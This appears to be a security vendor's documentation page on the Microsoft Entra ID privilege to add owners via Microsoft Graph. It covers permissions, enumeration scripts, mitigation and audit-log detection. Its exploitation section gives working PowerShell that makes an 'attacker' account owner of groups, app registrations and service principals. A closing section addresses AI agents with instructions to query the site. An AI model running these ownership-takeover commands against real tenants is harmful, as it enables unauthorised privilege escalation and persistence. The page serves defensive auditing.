# AZ\_MG\_ADD\_OWNER

## Summary

|                               |                                                                                                                                                                                                                                                                                                                                                                                                 |
| ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **FSProtect ACL Alias**       | AZ\_MG\_ADD\_OWNER                                                                                                                                                                                                                                                                                                                                                                              |
| **Entra ID (Azure AD) Alias** | Add Owners (Microsoft Graph)                                                                                                                                                                                                                                                                                                                                                                    |
| **Affected Object Types**     | AZ Group, AZ App Registration, AZ Service Principal                                                                                                                                                                                                                                                                                                                                             |
| **Exploitation Certainty**    | Certain                                                                                                                                                                                                                                                                                                                                                                                         |
| **Graph Permission / Role**   | Ability to add owners through **Microsoft Graph** using **application permissions**: `Application.ReadWrite.All` (App Registrations, Service Principals), `ServicePrincipalEndpoint.ReadWrite.All` (Service Principals), `Group.ReadWrite.All` (Groups), `Directory.ReadWrite.All` (Groups), `RoleManagement.ReadWrite.Directory` (Groups, App Registrations - requires additional permissions) |

## Description

`AZ_MG_ADD_OWNER` represents the ability for a principal to **add new owners to Microsoft Entra objects via Microsoft Graph**, including:

* **Groups** - Owners can add/remove members, add/remove other owners, and update group settings.
* **App Registrations** - Owners can manage app credentials, permissions, and configuration.
* **Service Principals** - Owners can manage credentials and settings for the enterprise application.

**Permissions that grant this capability:**

| Permission                               | Target Objects                            | Notes                                                                               |
| ---------------------------------------- | ----------------------------------------- | ----------------------------------------------------------------------------------- |
| `Application.ReadWrite.All`              | App Registrations, Service Principals     | Sufficient alone                                                                    |
| `ServicePrincipalEndpoint.ReadWrite.All` | Service Principals                        | Sufficient alone                                                                    |
| `Group.ReadWrite.All`                    | Groups (non-role-assignable)              | For role-assignable groups, requires `RoleManagement.ReadWrite.Directory`           |
| `Directory.ReadWrite.All`                | Groups (non-role-assignable)              | For role-assignable groups, requires `RoleManagement.ReadWrite.Directory`           |
| `RoleManagement.ReadWrite.Directory`     | Role-assignable Groups, App Registrations | Must be combined with `Group.ReadWrite.All` or `Directory.ReadWrite.All` for groups |

If the group is **role-assignable** (`isAssignableToRole = true`), adding owners requires both `Group.ReadWrite.All` (or `Directory.ReadWrite.All`) AND `RoleManagement.ReadWrite.Directory`. Controlling ownership of role-assignable groups is a high-impact privilege path, especially when the group is used to grant directory roles or Azure RBAC access.

## Identification

### PowerShell (Microsoft Graph)

Enumerate service principals that have **Microsoft Graph application permissions** capable of adding owners.

```powershell
Connect-MgGraph -Scopes "Application.Read.All","Directory.Read.All"

# Get Microsoft Graph service principal and target app role IDs
$graphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'" -Property Id,AppRoles
$targetPerms = @(
    "Application.ReadWrite.All",
    "ServicePrincipalEndpoint.ReadWrite.All",
    "Group.ReadWrite.All",
    "Directory.ReadWrite.All",
    "RoleManagement.ReadWrite.Directory"
)
$targetRoleIds = $graphSp.AppRoles | Where-Object { $_.Value -in $targetPerms } | Select-Object -ExpandProperty Id

# Query app role assignments directly from Microsoft Graph SP
$assignments = Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $graphSp.Id -All

# Filter for target permissions and build results
$results = $assignments | Where-Object { $_.AppRoleId -in $targetRoleIds } | ForEach-Object {
    $appRoleId = $_.AppRoleId
    [PSCustomObject]@{
        ServicePrincipalName = $_.PrincipalDisplayName
        ServicePrincipalId   = $_.PrincipalId
        Permission           = ($graphSp.AppRoles | Where-Object { $_.Id -eq $appRoleId }).Value
    }
}

$results | Format-Table -AutoSize
```

To list current owners of a specific group:

```powershell
Connect-MgGraph -Scopes "Group.Read.All"

$groupName = "Example"
$grp = Get-MgGroup -Filter "displayName eq '$groupName'" | Select-Object -First 1
$owners = Get-MgGroupOwner -GroupId $grp.Id -All

$owners | ForEach-Object {
    [PSCustomObject]@{
        GroupName    = $grp.DisplayName
        OwnerName    = $_.AdditionalProperties.displayName
        OwnerType    = ($_.AdditionalProperties.'@odata.type' -replace '#microsoft.graph.', '')
        OwnerId      = $_.Id
    }
} | Format-Table -AutoSize
```

### Azure GUI

* Open **Microsoft Entra admin center** -> **Groups** -> select the **target group** -> **Owners**.
* For applications: **Enterprise applications** -> select the app -> **Owners**.
* To check permissions: **Enterprise applications** -> select the app -> **Permissions**.
  * Under **Microsoft Graph** -> review **Application permissions** for:
    * `Application.ReadWrite.All`
    * `ServicePrincipalEndpoint.ReadWrite.All`
    * `Group.ReadWrite.All`
    * `Directory.ReadWrite.All`
    * `RoleManagement.ReadWrite.Directory` (requires additional permissions)

## Exploitation

An attacker with permissions to add owners can escalate privileges by adding themselves (or a controlled identity) as an owner of sensitive objects. This grants persistent administrative control over the target.

### Add Owner to Group

```powershell
Connect-MgGraph -Scopes "Group.ReadWrite.All"

$groupName = "Example"
$userUpn   = "attacker@contoso.com"

$group = Get-MgGroup -Filter "displayName eq '$groupName'" | Select-Object -First 1
$user  = Get-MgUser -UserId $userUpn

New-MgGroupOwnerByRef -GroupId $group.Id -BodyParameter @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/users/$($user.Id)"
}
```

### Add Owner to App Registration

```powershell
Connect-MgGraph -Scopes "Application.ReadWrite.All"

$appName = "Example App"
$userUpn = "attacker@contoso.com"

$app  = Get-MgApplication -Filter "displayName eq '$appName'" | Select-Object -First 1
$user = Get-MgUser -UserId $userUpn

New-MgApplicationOwnerByRef -ApplicationId $app.Id -BodyParameter @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/users/$($user.Id)"
}
```

### Add Owner to Service Principal

```powershell
Connect-MgGraph -Scopes "Application.ReadWrite.All"

$spName  = "Example App"
$userUpn = "attacker@contoso.com"

$sp   = Get-MgServicePrincipal -Filter "displayName eq '$spName'" | Select-Object -First 1
$user = Get-MgUser -UserId $userUpn

New-MgServicePrincipalOwnerByRef -ServicePrincipalId $sp.Id -BodyParameter @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/users/$($user.Id)"
}
```

## Mitigation

* **Protect sensitive objects**
  * Minimize the number of owners on sensitive groups, app registrations, and service principals.
  * For role-assignable groups, use **Privileged Identity Management (PIM) for Groups** to require just-in-time activation.
* **Reduce Microsoft Graph application permissions**
  * Go to **Microsoft Entra admin center** -> **Enterprise applications** -> select the app -> **Permissions**.
  * Review and remove unnecessary permissions:
    * `Application.ReadWrite.All`
    * `ServicePrincipalEndpoint.ReadWrite.All`
    * `Group.ReadWrite.All`
    * `Directory.ReadWrite.All`
    * `RoleManagement.ReadWrite.Directory`
* **Restrict admin consent**
  * Go to **Microsoft Entra admin center** -> **Enterprise applications** -> **Consent and permissions**.
  * Restrict who can grant tenant-wide admin consent for high-privilege Graph permissions.
* **Regular access reviews**
  * Go to **Identity Governance** -> **Access Reviews**.
  * Review owners of sensitive groups, app registrations, and service principals.

## Detection

Monitor Microsoft Entra **Audit logs** for owner changes.

* Go to **Microsoft Entra ID** -> **Audit logs**.
* Filter by activities:
  * **Add owner to group**
  * **Add owner to application**
  * **Add owner to service principal**
* Ensure the view includes:
  * **Activity**
  * **Initiated by (actor)**
  * **Target resources**

Alert on owner changes for:

* Role-assignable groups.
* Applications with privileged Graph permissions.
* Service principals used by automation or infrastructure.

## References

* [https://learn.microsoft.com/en-us/graph/api/group-post-owners?view=graph-rest-1.0](https://learn.microsoft.com/en-us/graph/api/group-post-owners?view=graph-rest-1.0\&utm_source=chatgpt.com)
* [https://learn.microsoft.com/en-us/graph/api/group-list-owners?view=graph-rest-1.0](https://learn.microsoft.com/en-us/graph/api/group-list-owners?view=graph-rest-1.0\&utm_source=chatgpt.com)
* [https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.groups/new-mggroupownerbyref?view=graph-powershell-1.0](https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.groups/new-mggroupownerbyref?view=graph-powershell-1.0\&utm_source=chatgpt.com)
* [https://learn.microsoft.com/en-us/cli/azure/account?view=azure-cli-latest](https://learn.microsoft.com/en-us/cli/azure/account?view=azure-cli-latest\&utm_source=chatgpt.com)
* [https://learn.microsoft.com/en-us/cli/azure/use-azure-cli-rest-command?view=azure-cli-latest](https://learn.microsoft.com/en-us/cli/azure/use-azure-cli-rest-command?view=azure-cli-latest\&utm_source=chatgpt.com)
* <https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-activity-log-schemas>
* [https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities](https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities?utm_source=chatgpt.com)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/azure/az_mg_add_owner.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
